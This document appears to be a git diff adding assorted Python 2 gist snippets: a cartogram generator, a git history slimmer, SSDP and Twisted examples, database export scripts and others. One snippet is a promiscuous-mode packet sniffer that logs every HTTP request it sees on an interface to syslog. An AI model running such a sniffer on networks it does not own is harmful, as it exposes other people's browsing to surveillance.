+            w = - penalty * x[g] / linalg.norm(x[g], 2)
+            if not np.allclose(z[g], w, safety_net):
+                return False
+    return True
+
+
+if __name__ == '__main__':
+    from sklearn import datasets
+    diabetes = datasets.load_diabetes()
+    X = diabetes.data
+    y = diabetes.target
+    alpha = .1
+    groups = np.r_[[0, 0], np.arange(X.shape[1] - 2)]
+    coefs = group_lasso(X, y, alpha, groups, verbose=True)
+    print 'KKT conditions verified:', check_kkt(X, y, coefs, alpha, groups)
+
+
diff --git a/hard-gists/1424374/._snippet.py b/hard-gists/1424374/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1424374/._snippet.py differ
diff --git a/hard-gists/1424374/snippet.py b/hard-gists/1424374/snippet.py
new file mode 100644
index 00000000..2f15b047
--- /dev/null
+++ b/hard-gists/1424374/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+import dpkt, pcap, socket
+from ipaddr import IPv4Address, IPv6Address
+import syslog
+
+class HTTPRequest():
+    def __init__(self, host, uri, ip = None, user_agent = None):
+        self.uri = uri
+        self.user_agent = user_agent
+        self.host = host
+        self.ip = ip
+
+    def __str__(self):
+        return "{2} {0}{1} \"{3}\"".format(self.host, self.uri, self.ip, self.user_agent)
+
+class HTTPMonitor():
+    def __init__(self, interface):
+        self.interface = interface
+        self.pcap = pcap.pcap(interface, promisc=True)
+        self.pcap.setfilter('dst port 80')
+
+    def requests(self):
+        for ts, buf in self.pcap:
+            try:
+                eth = dpkt.ethernet.Ethernet(buf)
+                ip = eth.data
+                tcp = ip.data 
+                
+                if tcp.dport == 80 and len(tcp.data) > 0:
+                    request = dpkt.http.Request(tcp.data)
+                    host = request.headers['host'] if 'host' in request.headers else None
+                    user_agent = request.headers['user-agent'] if 'user-agent' in request.headers else None
+
+                    ipaddr = IPv4Address(socket.inet_ntop(socket.AF_INET, ip.dst)) if type(ip) == dpkt.ip.IP else IPv6Address(socket.inet_ntop(socket.AF_INET6, ip.dst))
+
+                    yield HTTPRequest(host, request.uri, ipaddr, user_agent)                   
+            except Exception as e:
+                print e     
+
+
+syslog.openlog("httptrack")
+mon = HTTPMonitor('eth1')
+for i in mon.requests():
+    syslog.syslog(i.__str__())
\ No newline at end of file
diff --git a/hard-gists/1433392/._snippet.py b/hard-gists/1433392/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1433392/._snippet.py differ
diff --git a/hard-gists/1433392/snippet.py b/hard-gists/1433392/snippet.py
new file mode 100644
index 00000000..f0fc79d9
--- /dev/null
+++ b/hard-gists/1433392/snippet.py
@@ -0,0 +1,268 @@
+"""
+Generator for packed circle cartograms
+"""
+import proj, gisutils
+
+class Cartogram:
+
+	def loadCSV(self, url, key='id', value='val', lon='lon', lat='lat'):
+		import csv
+		doc = csv.reader(open(url))
+		head = None
+		circles = []
+		for row in doc:
+			if not head:
+				head = row
+			else:
+				circles.append(Circle(row[head.index(lon)], row[head.index(lat)], row[head.index(key)], row[head.index(value)]))
+			self.circles = circles
+		self.computeRadii()
+		
+	def computeRadii(self):
+		import sys, math
+		minv = 0
+		maxv = sys.maxint * -1
+		for c in self.circles:
+			minv = min(minv, c.value)
+			maxv = max(maxv, c.value)
+			
+		for c in self.circles:
+			c.r = math.pow((c.value - minv)/(maxv-minv), 0.5)*20
+	
+	def project(self, globe):
+		# create view..
+		self.globe = globe
+		bbox = gisutils.Bounds2D()
+		for circle in self.circles:
+			x,y = globe.project(circle.lon, circle.lat)
+			bbox.update(gisutils.Point(x,y))
+		self.bbox = bbox
+		w = 700
+		self.view = gisutils.View(bbox, w, w*(bbox.height/bbox.width), 80)
+		# .. and place circles. you can use any other geo-libs as well, e.g. pyproj
+		for circle in self.circles:
+			x,y = self.view.project(globe.project(circle.lon, circle.lat))
+			circle.x = x 
+			circle.y = y
+	
+	
+	def layout(self, steps=100):
+		for i in range(steps):
+			if i % 10 == 0:
+				self.toSVG()
+			self.layout_step()			
+	
+	
+	def layout_step(self):
+		import math
+		pad = 0
+			
+		for A in self.circles:
+			for B in self.circles:
+				if A != B:
+					radsq = (A.r+B.r)*(A.r+B.r)
+					d = A.sqdist(B)
+					if radsq + pad > d:
+						# move circles away from each other
+						v = Vector(B.x-A.x, B.y-A.y)
+						v.normalize()
+						m = (math.sqrt(radsq) - math.sqrt(d)) * 0.25
+						v.resize(m)
+						A._move(v.x*-1, v.y*-1)
+						B._move(v.x, v.y)
+		
+		for C in self.circles:
+			C.move()
+		
+						
+		
+	def toSVG(self):
+		from svgfig import SVG, canvas
+		w = self.view.width
+		h = self.view.height
+		svg = canvas(width='%dpx' % w, height='%dpx' % h, viewBox='0 0 %d %d' % (w, h), enable_background='new 0 0 %d %d' % (w, h), style='stroke-width:0.7pt; stroke-linejoin: round; stroke:#444; fill:#eee;')
+		
+		g = SVG('g', id="gemeinden")
+		
+		
+		for circle in self.circles:
+			c = SVG('circle',cx=circle.x, cy=circle.y, r=circle.r)
+			c['data-key'] = circle.id
+			c['data-population'] = circle.value
+			g.append(c)
+			
+		meta = SVG('metadata')
+		views = SVG('views')
+		view = SVG('view', padding="80", w=w, h=h)
+		proj = self.globe.toXML()
+		bbox = self.bbox
+		bbox = SVG('bbox', x=round(bbox.left,2), y=round(bbox.top,2), w=round(bbox.width,2), h=round(bbox.height,2))
+		
+		views.append(view)
+		view.append(proj)
+		view.append(bbox)
+		
+		meta.append(views)
+		svg.append(meta)
+		svg.append(g)
+			
+		svg.save('cartogram.svg')
+		
+		
+				
+class Circle:
+
+	def __init__(self, lon, lat, id, value):
+		self.lon = float(lon)
+		self.lat = float(lat)
+		self.id = id
+		self.value = float(value)
+		
+		self.dx = 0
+		self.dy = 0
+		
+	def _move(self, x,y):
+		self.dx += x
+		self.dy += y
+		
+	def move(self):
+		self.x += self.dx
+		self.y += self.dy
+		self.dx = 0
+		self.dy = 0
+		
+	def __repr__(self):
+		return '<Circle lon=%f, lat=%f, id=%s, val=%f >'% (self.lon, self.lat, self.id, self.value)
+		
+	def sqdist(self, circ):
+		dx = self.x - circ.x
+		dy = self.y - circ.y
+		return dx*dx + dy*dy
+		
+
+"""
+been too lazy to code this myself, instead I took code from here
+http://www.kokkugia.com/wiki/index.php5?title=Python_vector_class
+"""
+
+class Vector:
+    # Class properties
+    def __init__(self, x, y):
+        self.x = float(x)
+        self.y = float(y)
+
+    # represent as a string
+    def __repr__(self):
+        return 'Vector(%s, %s)' % (self.x, self.y)
+
+    ''' 
+       Class Methods / Behaviours
+    '''
+
+    def zero(self):
+        self.x = 0.0
+        self.y = 0.0
+        return self
+
+    def clone(self):
+        return kVec(self.x, self.y)
+
+    def normalize(self):
+    	from math import sqrt
+    	if self.x == 0 and self.y == 0:
+    		return self
+        norm = float (1.0 / sqrt(self.x*self.x + self.y*self.y))
+        self.x *= norm
+        self.y *= norm
+        # self.z *= norm
+        return self
+
+    def invert(self):
+        self.x = -(self.x)
+        self.y = -(self.y)
+        return self
+
+    def resize(self, sizeFactor):
+        self.normalize
+        self.scale(sizeFactor)
+        return self
+
+    def minus(self, t):
+        self.x -= t.x
+        self.y -= t.y
+        # self.z -= t.z
+        return self
+    
+    def plus(self, t):
+        self.x += t.x
+        self.y += t.y
+        # self.z += t.z
+        return self
+    
+    def roundToInt(self):
+        self.x = int(x)
+        self.y = int(y)
+        return self
+    
+    # Returns the squared length of this vector.
+    def lengthSquared(self):
+        return float((self.x*self.x) + (self.y*self.y))
+    
+    # Returns the length of this vector.
+    def length(self):
+    	from math import sqrt
+        return float(sqrt(self.x*self.x + self.y*self.y))
+
+    # Computes the dot product of this vector and vector v2
+    def dot(self, v2):
+        return (self.x * v2.x + self.y * v2.y)
+
+    # Linearly interpolates between vectors v1 and v2 and returns the result point = (1-alpha)*v1 + alpha*v2.
+    def interpolate(self, v2):
+        self.x = float((1 - alpha) * self.x + alpha * v2.x)
+        self.y = float((1 - alpha) * self.y + alpha * v2.y)
+        return kVec(self.x, self.y)
+
+    # Returns the angle in radians between this vector and the vector parameter; 
+    # the return value is constrained to the range [0,PI].
+    def angle(self, v2):
+    	from math import acos
+        vDot = self.dot(v2) / (self.length() * v2.length())
+        if vDot < -1.0 : vDot = -1.0
+        if vDot > 1.0 : vDot = 1.0
+        return float(acos(vDot))
+    
+    # Limits this vector to a given size.
+    # NODEBOX USERS: name should change as 'size' and 'scale' are reserved words in Nodebox!
+    def limit(self, size):
+        if (self.length() > size):
+            self.normalize()
+            self.scale(size)
+
+    # Point Methods
+    # Returns the square of the distance between this tuple and tuple t1.
+    def distanceSquared(self, t1):
+        dx = self.x - t1.x
+        dy = self.y - t1.y
+        return (dx * dx + dy * dy)
+    
+    # NODEBOX USERS: name should change as 'scale' is reserved word in Nodebox!
+    def scale(self, s):
+        self.x *= s
+        self.y *= s
+        return self
+
+    # NODEBOX USERS: name should change as 'translate' is reserved word in Nodebox!
+    def translate(self, vec):
+        self.plus(vec)
+        
+    # NODEBOX USERS: name should change as 'translate' is reserved word in Nodebox!
+    def translate(self, vec, dist):
+        v = kVec.resize(vec, dist)
+        translation(v)
+        
+    def distance(self, pt):
+    	from math import sqrt
+        dx = self.x - pt.x
+        dy = self.y - pt.y
+        return float(sqrt(dx * dx + dy * dy))
diff --git a/hard-gists/1433794/._snippet.py b/hard-gists/1433794/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1433794/._snippet.py differ
diff --git a/hard-gists/1433794/snippet.py b/hard-gists/1433794/snippet.py
new file mode 100644
index 00000000..9d9363ed
--- /dev/null
+++ b/hard-gists/1433794/snippet.py
@@ -0,0 +1,208 @@
+#!/usr/bin/python
+#
+# git-slim
+#
+# Remove big files from git repo history.
+#
+# Requires GitPython (https://github.com/gitpython-developers/GitPython)
+#
+# References:
+# - http://help.github.com/remove-sensitive-data/
+# - http://stackoverflow.com/questions/4444091/git-filter-branch-to-delete-large-file
+# - http://stackoverflow.com/questions/1029969/why-is-my-git-repository-so-big/1036595#1036595
+# - http://stackoverflow.com/questions/460331/git-finding-a-filename-from-a-sha1
+
+from glob import glob
+from git import Repo
+from os.path import getsize
+from re import split
+from shutil import rmtree
+from sys import argv, exit, stdout
+
+
+def print_activity(start, end='done'):
+    '''Decorator which logs info like "Doing something: done" to stdout.'''
+    def decorate(f):
+        def wrapped(*args, **kwargs):
+            stdout.write('%s: ' % start)
+            stdout.flush()
+            x = f(*args, **kwargs)
+            print end
+            return x
+        return wrapped
+    return decorate
+
+
+def slim_main():
+    '''Invoke slimming on working directory or first argv entry.'''
+    repo_dir = argv[1] if len(argv) > 1 else '.'
+    try:
+        slim(repo_dir)
+    except KeyboardInterrupt:
+        exit(0)
+
+
+def slim(repo_dir):
+    r = Repo(repo_dir)
+    prep(r)
+    old_size = repo_size(r)
+    slim_blobs(r)
+    tidy_up(r)
+    new_size = repo_size(r)
+    ok_done(old_size, new_size)
+
+
+def repo_size(r):
+    return getsize(r.git_dir)
+
+
+def prep(r):
+    '''Prep a repo by running GC and repacking.'''
+    if r.is_dirty():
+        raise Exception('repo is dirty')
+    gc(r)
+    repack(r)
+
+
+def slim_blobs(r):
+    '''Reduce repo size by listing blobs in size order and asking the user if
+    they would like to remove them.
+
+    '''
+    pack_blobs = list_pack_blobs_by_size(r)
+    index = blob_index(r)
+    seen = []
+    targets = []
+    for b in pack_blobs:
+        if b[0] not in index:
+            print '%s not in blob index' % b[0]
+        else:
+            blob_path, commit_hexsha = index[b[0]]
+            if blob_path not in seen:
+                blob_size = format_size(b[1])
+                commit_hexsha_prefix = commit_hexsha[:7]
+                prompt = 'Remove %s (%s at %s)? [Y/n/d] ' % \
+                        (blob_path, blob_size, commit_hexsha_prefix)
+                answer = raw_input(prompt).strip().lower()
+                if answer == 'd':
+                    break
+                elif answer in ('y', ''):
+                    targets.append(blob_path)
+                seen.append(blob_path)
+    remove_files(r, targets)
+
+
+def blob_index(r):
+    '''Build index of paths of blobs in the repo. Iterates across all files in
+    all commits and records blob used.
+
+    '''
+    desc = 'Indexing blobs in commits: '
+    index = {}
+    commits = list(r.iter_commits())
+    commits_len = len(commits)
+    blob_predicate = lambda i, d: i.type == 'blob'
+    i = 1
+    for commit in commits:
+        stdout.write('\r%s(%s/%s)' % (desc, i, commits_len))
+        stdout.flush()
+        for blob in commit.tree.traverse(predicate=blob_predicate):
+            index[blob.hexsha] = blob.path, str(commit)
+        i += 1
+    print '\r%sdone                                        ' % desc
+    return index
+
+
+@print_activity('Listing pack blobs')
+def list_pack_blobs_by_size(r):
+    blobs = list_pack_blobs(r)
+    blobs_s = sorted(blobs, key=lambda b: b[1], reverse=True)
+    return blobs_s
+
+
+def list_pack_blobs(r):
+    '''Call git verify-pack to dump info about blobs in a pack.'''
+    pack_index_glob = r.git_dir + '/objects/pack/pack-*.idx'
+    pack_index_files = glob(pack_index_glob)
+    pack_info = r.git.verify_pack(*pack_index_files, verbose=True)
+    return extract_blob_info(pack_info)
+
+
+def extract_blob_info(pack_info):
+    '''Extract info about blobs in a pack from text returned by git verify-pack.
+
+    '''
+    for line in pack_info.split('\n'):
+        bits = split(r'\s+', line)
+        if len(bits) > 1 and bits[1] == 'blob':
+            yield bits[0], int(bits[3])
+
+
+def format_size(num):
+    '''Format numbers as file sizes. From hurry.filesize.'''
+    for x in [' bytes', 'KB', 'MB', 'GB', 'TB']:
+        if num < 1024.0:
+            return "%.0f%s" % (num, x)
+        num /= 1024.0
+
+
+@print_activity('Removing files from repo history')
+def remove_files(r, fs):
+    '''Run git rm for each file in list against each commit using git
+    filter-branch. Completely removes files from repo history.
+
+    '''
+    if not fs:
+        return
+    # todo: check file list doesn't exceed max command length
+    filelist = ' '.join(fs)
+    r.git.filter_branch('--index-filter',
+            'git rm --cached --ignore-unmatch %s' % filelist,
+            '--prune-empty',
+            'HEAD')
+
+
+def tidy_up(r):
+    '''Tidy up by expiring reflog, aggresively GCing repo and repacking. Should
+    recover space used by objects removed during slimming process.
+
+    '''
+    rm_original_refs(r)
+    expire_reflog(r)
+    gc(r)
+    repack(r)
+
+
+@print_activity('Removing original refs')
+def rm_original_refs(r):
+    rmtree(r.git_dir + '/refs/original/', ignore_errors=True)
+
+
+@print_activity('Expiring reflog')
+def expire_reflog(r):
+    r.git.reflog('expire', '--expire=now', '--all')
+
+
+@print_activity('Garbage collecting')
+def gc(r):
+    r.git.gc(prune=True)
+
+
+@print_activity('Repacking')
+def repack(r):
+    r.git.repack(a=True, d=True, q=True)
+
+
+def ok_done(old_size, new_size):
+    delta = format_size(old_size - new_size)
+    old_f = format_size(old_size)
+    new_f = format_size(new_size)
+    print '\nRepo slimmed by %s (reduced from %s to %s)' % (delta, old_f, new_f)
+    print '(Running \'git gc --agressive --prune\' may reclaim further space)\n'
+    print 'Next run \'git push origin --all --force\''
+    print 'Then re-clone all copies of the repo'
+    print 'Warning: If an old clone is used, big objects may reappear'
+
+
+if __name__ == '__main__':
+    slim_main()
\ No newline at end of file
diff --git a/hard-gists/1435045/._snippet.py b/hard-gists/1435045/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1435045/._snippet.py differ
diff --git a/hard-gists/1435045/snippet.py b/hard-gists/1435045/snippet.py
new file mode 100644
index 00000000..f38af370
--- /dev/null
+++ b/hard-gists/1435045/snippet.py
@@ -0,0 +1,27 @@
+from twisted.internet import reactor, task
+from twisted.web.server import Site
+from twisted.web import server
+from twisted.web.resource import Resource
+import time
+
+class ClockPage(Resource):
+    isLeaf = True
+    def __init__(self):
+        self.presence=[]
+        loopingCall = task.LoopingCall(self.__print_time)
+        loopingCall.start(1, False)
+        Resource.__init__(self)
+
+    def render_GET(self, request):
+        request.write('<b>%s</b><br>' % (time.ctime(),))
+        self.presence.append(request)
+        return server.NOT_DONE_YET
+
+    def __print_time(self):
+        for p in self.presence:
+            p.write('<b>%s</b><br>' % (time.ctime(),))
+
+resource = ClockPage()
+factory = Site(resource)
+reactor.listenTCP(8080, factory)
+reactor.run()
diff --git a/hard-gists/1435555/._snippet.py b/hard-gists/1435555/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1435555/._snippet.py differ
diff --git a/hard-gists/1435555/snippet.py b/hard-gists/1435555/snippet.py
new file mode 100644
index 00000000..23a9b77b
--- /dev/null
+++ b/hard-gists/1435555/snippet.py
@@ -0,0 +1,56 @@
+#!/usr/bin/python
+
+# Python program that can send out M-SEARCH messages using SSDP (in server
+# mode), or listen for SSDP messages (in client mode).
+
+import sys
+from twisted.internet import reactor, task
+from twisted.internet.protocol import DatagramProtocol
+
+SSDP_ADDR = '239.255.255.250'
+SSDP_PORT = 1900
+
+MS = 'M-SEARCH * HTTP/1.1\r\nHOST: %s:%d\r\nMAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n' % (SSDP_ADDR, SSDP_PORT)
+
+class Base(DatagramProtocol):
+    def datagramReceived(self, datagram, address):
+        first_line = datagram.rsplit('\r\n')[0]
+        print "Received %s from %r" % (first_line, address, )
+
+    def stop(self):
+        pass
+
+class Server(Base):
+    def __init__(self, iface):
+        self.iface = iface
+        task.LoopingCall(self.send_msearch).start(6) # every 6th seconds
+
+    def send_msearch(self):
+        port = reactor.listenUDP(0, self, interface=self.iface)
+        print "Sending M-SEARCH..."
+        port.write(MS, (SSDP_ADDR, SSDP_PORT))
+        reactor.callLater(2.5, port.stopListening) # MX + a wait margin
+
+class Client(Base):
+    def __init__(self, iface):
+        self.iface = iface
+        self.ssdp = reactor.listenMulticast(SSDP_PORT, self, listenMultiple=True)
+        self.ssdp.setLoopbackMode(1)
+        self.ssdp.joinGroup(SSDP_ADDR, interface=iface)
+
+    def stop(self):
+        self.ssdp.leaveGroup(SSDP_ADDR, interface=self.iface)
+        self.ssdp.stopListening()
+
+def main(mode, iface):
+    klass = Server if mode == 'server' else Client
+    obj = klass(iface)
+    reactor.addSystemEventTrigger('before', 'shutdown', obj.stop)
+
+if __name__ == "__main__":
+    if len(sys.argv) != 3:
+        print "Usage: %s <server|client> <IP of interface>" % (sys.argv[0], )
+        sys.exit(1)
+    mode, iface = sys.argv[1:]
+    reactor.callWhenRunning(main, mode, iface)
+    reactor.run()
diff --git a/hard-gists/1436671/._snippet.py b/hard-gists/1436671/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1436671/._snippet.py differ
diff --git a/hard-gists/1436671/snippet.py b/hard-gists/1436671/snippet.py
new file mode 100644
index 00000000..01bf5c76
--- /dev/null
+++ b/hard-gists/1436671/snippet.py
@@ -0,0 +1,29 @@
+'''
+A hack based on this http://mikepultz.com/2011/03/accessing-google-speech-api-chrome-11/. While with smaller voice samples google speech to text works really good, as length increases quality decreases. So here using audiolab and numPy we are breaking audio sample, in smaller chunks, and removing blank/empty spaces from audio signal and then pushing them to google for processing. 
+It takes wav file format as input but can be changed to other formats too.
+'''
+
+from scikits.audiolab import wavread, play, flacwrite
+from numpy import average, array, hstack
+import os
+import sys
+
+if len(sys.argv) != 2:
+    print 'usage speech2text.py filename'
+    exit(1)
+
+buff, fs, bp = wavread(sys.argv[1])
+a_buff = abs(buff)
+window = 1000
+
+# To get all index values of slots where we have some sound
+index = array([i for i in range((len(buff)/window) + 1) if average(a_buff[i*window:(i+1)*window]) > average(a_buff)/2])
+start = index[hstack((True, index[1:] - index[:-1] > 10))] * window
+end = index[hstack((index[1:] - index[:-1] > 10, True))] * window
+print start
+print end
+for i in range(len(start)):
+    flacwrite(buff[start[i]:end[i]], 'part.flac', fs)
+    os.system('wget --post-file part.flac --header="Content-Type: audio/x-flac; rate=22050" -O "blah" "http://www.google.com/speech-api/v1/recognize?lang=en-us&client=chromium"')
+    # play(buff[start[i]:end[i]], fs)
+    print open('blah').read()
diff --git a/hard-gists/143e65a425722dc2f3d0/._snippet.py b/hard-gists/143e65a425722dc2f3d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/143e65a425722dc2f3d0/._snippet.py differ
diff --git a/hard-gists/143e65a425722dc2f3d0/snippet.py b/hard-gists/143e65a425722dc2f3d0/snippet.py
new file mode 100644
index 00000000..1cdc1205
--- /dev/null
+++ b/hard-gists/143e65a425722dc2f3d0/snippet.py
@@ -0,0 +1,192 @@
+from impala.dbapi import connect as impala_connect
+import csv
+import sys
+import pdb
+import MySQLdb as mysql
+
+global connection
+global cursor
+
+def connect():
+  global connection, cursor
+
+  connection = impala_connect(host="localhost", port=21050, database="cass")
+  cursor = connection.cursor()
+  cursor.execute('use cass')
+
+def disconnect():
+  global connection
+  connection.close()
+
+
+def export_olark_conversations(start, limit, debug=False):
+  global cursor
+  
+  query = build_query(start, limit)
+
+  if debug:
+    print query
+
+  cursor.execute(query)
+  conversations = cursor.fetchall();
+
+  # with open('/tmp/olark_conversations.csv', 'ab') as csvfile:
+  #   writer = csv.writer(csvfile, delimiter='|')
+  #   for conversation in conversations:
+  #     writer.writerow(conversation)
+
+  return conversations
+
+def describe_table():
+  """
+    - feed_time: kapan row tersebut dimasukkan ke impala dari manapun sumbernya
+
+    - time_added: kapan kalimat tersebut dibuat, ketika customer ngobrol dengan
+      Customer Service Operator (CSO)
+
+    - date: tanggal kalimat tersebut dibuat, ketika customer ngobrol dengan
+      CSO, field ini adalah turunan dari time_added di atas
+
+    - hour: jam tanggal kalimat tersebut dibuat, ketika customer ngobrol dengan
+      CSO, field ini adalah turunan dari time_added di atas
+  """
+  global connection, cursor
+
+  connect();
+
+  cursor.execute('describe cass.olark_conversations');
+  descriptions = cursor.fetchall()
+
+  with open('/tmp/olark_conversations_structure.csv', 'wb') as csvfile:
+    writer = csv.writer(csvfile, delimiter='|')
+    for description in descriptions:
+      writer.writerow(description)
+
+  disconnect()
+
+  return description
+
+def build_query(start, limit):
+  """
+  Tidak bisa mengandalkan kolom `date` karena semakin kemari jumlah obrolan
+  semakin banyak. 
+
+  Kolom `time_added` juga tidak bisa diandalkan mengingat ada duplikasi pada
+  kolom ini.
+
+  Oleh karena itu digunakan `feed_time` sebagai titik mulai dan di limit
+  sejumlah obrolan dari titik tersebut.
+  """
+
+  return """
+    SELECT conversation_id, id, time_added, feed_time, body
+    FROM cass.olark_conversations
+    WHERE kind = 'MessageToOperator' AND feed_time >= {start}
+    ORDER BY feed_time ASC
+    LIMIT {limit}
+  """.format(start=start, limit=limit)
+
+def insert_to_mysql(conversations):
+  for conversation in conversations:
+    try:
+      mysql_cursor.execute("""
+        INSERT IGNORE INTO unique_conversation (conversation_id, sentence_id, time_added, feed_time, body)
+        VALUES (%s, %s, %s, %s, %s)
+      """, conversation)
+
+      mysql_connection.commit()
+
+    except mysql.Error as e:
+      if mysql_connection:
+        mysql_connection.rollback()
+
+      print "Error %d: %s" % (e.args[0], e.args[1])
+
+def insert_to_mysql_many_at_once(conversations):
+  """
+  MySQLdb tutorial here: http://zetcode.com/db/mysqlpython/
+  """
+  # pdb.set_trace()
+
+  total = len(conversations)
+  per_page = 1000
+  pages = (total / per_page) + 1
+  page = 1
+
+  while page <= pages:
+    offset = ((page - 1) * per_page)
+    upper = page * per_page
+    _conversations = conversations[offset:upper] # conversations[0:100], conversations[100:200], ...
+    _conversations_size = len(_conversations)
+    page += 1
+
+    if (_conversations_size > 0):
+      try:
+        print "inserting {numbers} sentences".format(numbers=_conversations_size)
+
+        mysql_cursor.executemany("""
+          INSERT IGNORE INTO unique_conversation (conversation_id, sentence_id, time_added, feed_time, body)
+          VALUES (%s, %s, %s, %s, %s)
+        """, _conversations)
+
+        mysql_connection.commit()
+
+      except mysql.Error as e:
+        if mysql_connection:
+          mysql_connection.rollback()
+
+        print "Error %d: %s" % (e.args[0], e.args[1])
+
+mysql_connection = mysql.connect(host="localhost", user="root", db="olark_conversations")
+mysql_cursor = mysql_connection.cursor()
+
+try:
+  connect()
+
+  # Angka ini didapatkan dari:
+  # select feed_time from cass.olark_conversations order by feed_time asc limit 1
+  # (bisa saja diberikan dari CLI)
+  start = 1440140551
+  start = 1440145325
+  start = 1446367818
+  start = 1446558945
+  start = 1450623640
+  start = 1450984817
+  limit = 100000
+
+  # stop at maximum number of sentences
+  maximum = 1000000
+
+  total = 0
+  fetch = True
+  debug = True
+
+  while fetch and total < maximum:
+    conversations = export_olark_conversations(start, limit, debug)
+
+    # update start dengan `feed_time` item paling akhir
+    start = conversations[-1][3]
+
+    _total = len(conversations)
+    total += _total
+
+    if (_total > 0):
+      insert_to_mysql_many_at_once(conversations)
+    else:
+      fetch = False
+
+    print "Total: {total}".format(total=total)
+
+except Exception as e:
+  print e
+  print e.args
+  sys.exit(1)
+
+finally:
+  disconnect()
+
+  if connection:
+    connection.close()
+
+  if mysql_connection:
+    mysql_connection.close()
\ No newline at end of file
diff --git a/hard-gists/1440567/._snippet.py b/hard-gists/1440567/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1440567/._snippet.py differ
diff --git a/hard-gists/1440567/snippet.py b/hard-gists/1440567/snippet.py
new file mode 100644
index 00000000..97fcbda6
--- /dev/null
+++ b/hard-gists/1440567/snippet.py
@@ -0,0 +1,81 @@
+from django import http
+from django.utils.http import urlquote
+from django import urls
+from django.conf import settings
+from django.utils.deprecation import MiddlewareMixin
+
+
+class AppendOrRemoveSlashMiddleware(MiddlewareMixin):
+    """Like django's built in APPEND_SLASH functionality, but also works in
+    reverse. Eg. will remove the slash if a slash-appended url won't resolve,
+    but its non-slashed counterpart will.
+
+    Additionally, if a 404 error is raised within a view for a non-slashed url,
+    and APPEND_SLASH is True, and the slash-appended url resolves, the
+    middleware will redirect. (The default APPEND_SLASH behaviour only catches
+    Resolver404, so wouldn't work in this case.)
+
+    See gregbrown.co.nz/code/append-or-remove-slash/ for more information."""
+
+    def process_request(self, request):
+        """Returns a redirect if adding/removing a slash is appropriate. This
+        works in the same way as the default APPEND_SLASH behaviour but in
+        either direction."""
+
+        # check if the url is valid
+        urlconf = getattr(request, 'urlconf', None)
+        if not _is_valid_path(request.path_info, urlconf):
+            # if not, check if adding/removing the trailing slash helps
+            if request.path_info.endswith('/'):
+                new_path = request.path_info[:-1]
+            else:
+                new_path = request.path_info + '/'
+
+            if _is_valid_path(new_path, urlconf):
+                # if the new url is valid, redirect to it
+                return http.HttpResponsePermanentRedirect(
+                    generate_url(request, new_path))
+
+    def process_response(self, request, response):
+        """If a 404 is raised within a view, try appending/removing the slash
+        (based on the  setting) and redirecting if the new url is
+        valid."""
+
+        if response.status_code == 404:
+            if not request.path_info.endswith('/') and settings.APPEND_SLASH:
+                new_path = request.path_info + '/'
+            elif request.path_info.endswith('/') and not settings.APPEND_SLASH:
+                new_path = request.path_info[:-1]
+            else:
+                new_path = None
+
+            if new_path:
+                urlconf = getattr(request, 'urlconf', None)
+                if _is_valid_path(new_path, urlconf):
+                    return http.HttpResponsePermanentRedirect(
+                        generate_url(request, new_path))
+        return response
+
+
+def generate_url(request, path):
+    if request.get_host():
+        new_url = "%s://%s%s" % (request.is_secure() and 'https' or 'http',
+                                 request.get_host(),
+                                 urlquote(path))
+    else:
+        new_url = urlquote(path)
+    if request.GET:
+        new_url += '?' + request.META['QUERY_STRING']
+    return new_url
+
+
+def _is_valid_path(path, urlconf=None):
+    """
+    Returns True if the given path resolves against the default URL resolver,
+    False otherwise.
+    """
+    try:
+        urls.resolve(path, urlconf)
+        return True
+    except urls.Resolver404:
+        return False
diff --git a/hard-gists/1440754/._snippet.py b/hard-gists/1440754/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1440754/._snippet.py differ
diff --git a/hard-gists/1440754/snippet.py b/hard-gists/1440754/snippet.py
new file mode 100644
index 00000000..284ea993
--- /dev/null
+++ b/hard-gists/1440754/snippet.py
@@ -0,0 +1,57 @@
+import csv
+from github2.client import Github
+
+# api settings for github
+git_username = ''
+git_api_token = ''
+git_repo = ''
+
+# csv name
+csv_name = "git_hub_issues.csv"
+
+def run_csv():
+    """
+    Export github issues into a csv format
+    """
+    output_csv = csv.writer(open(csv_name, 'wb'), delimiter=',')
+    github = Github(username=git_username, api_token=git_api_token)
+
+    # csv headers
+    headers = [
+        'id',
+        'title',
+        'body',
+        'state',
+        'creator',
+        'labels',
+        'created_at',
+        'updated_at',
+        'closed_at',
+    ]
+
+    # write header rows
+    output_csv.writerow(headers)
+
+    # get the git issues and write the rows to the csv
+    git_issues = github.issues.list(git_repo)
+    for git_issue in git_issues:
+        print git_issue.title
+        labels = ' '.join(git_issue.labels)
+
+        # alot of these are blank because they are not really 
+        # needed but if you need them just fill them out
+        issue = [
+            git_issue.number,
+            git_issue.title.encode('utf8'),
+            git_issue.body.encode('utf8'),
+            git_issue.state, 
+            git_issue.user, 
+            labels,
+            git_issue.created_at,
+            git_issue.updated_at,
+            git_issue.closed_at,
+        ]
+        output_csv.writerow(issue)
+
+if __name__ == '__main__':
+    run_csv()
\ No newline at end of file
diff --git a/hard-gists/1441019/._snippet.py b/hard-gists/1441019/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1441019/._snippet.py differ
diff --git a/hard-gists/1441019/snippet.py b/hard-gists/1441019/snippet.py
new file mode 100644
index 00000000..9d7d31e9
--- /dev/null
+++ b/hard-gists/1441019/snippet.py
@@ -0,0 +1,365 @@
+#!/usr/bin/env python
+########################################################
+# Created by: Steve Cundy
+# Date Modified: Jan 29, 2008
+#
+# Purpose: quick and dirty gui to control PTZ of my
+# Logitech Quickcam Orbit AF (actually there is no zoom
+# control :)
+#
+# To Do:
+# - Modify icons and labels
+# - Detect difference between click and hold for
+#	continued movement of cam
+# - Find out what doesn't work
+# - Actually learn how to code in python instead of
+#	hacking together other peoples code
+########################################################
